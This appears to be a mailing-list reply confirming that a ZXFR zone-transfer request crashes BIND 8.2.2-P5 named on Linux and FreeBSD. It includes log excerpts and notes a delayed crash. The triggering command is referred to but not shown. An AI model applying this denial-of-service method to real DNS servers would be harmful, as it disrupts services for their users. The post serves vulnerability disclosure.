Yes; I got BIND-8.2.2-P5 on a RH5.2/Linux 2.0.38 box to die using the above command. These were the last log messages: Nov 8 20:36:06 cascade named[396]: unsupported XFR (type ZXFR) of "xxx.nl" (IN) to [xxx.xxx.xxx.xxx].4174 Nov 8 20:36:55 cascade named[396]: db_freedata: DB_F_FREE set Nov 8 20:36:55 cascade named[396]: db_freedata: DB_F_FREE set
Now "BIND-8.2.2-P5-NOESW" on FreeBSD 3.4-RELEASE crashed too, with the following log messages: Nov 8 21:05:09 unity named[147]: db_freedata: d_rcnt != 0 Nov 8 21:05:09 unity /kernel: pid 147 (named), uid 53: exited on signal 6 Nov 8 21:05:09 unity named[147]: db_freedata: d_rcnt != 0 Strangely, this happens a few minutes _AFTER_ the evil named-xfer! In the timespan between the DoS command and the crash, named functions as normal... -- Walter Hop <walter () skydancer nl> | +31 6 24290808 | PGP: 0xD4DD8DEB Mail agreement-request () skydancer nl to retrieve the email agreement.
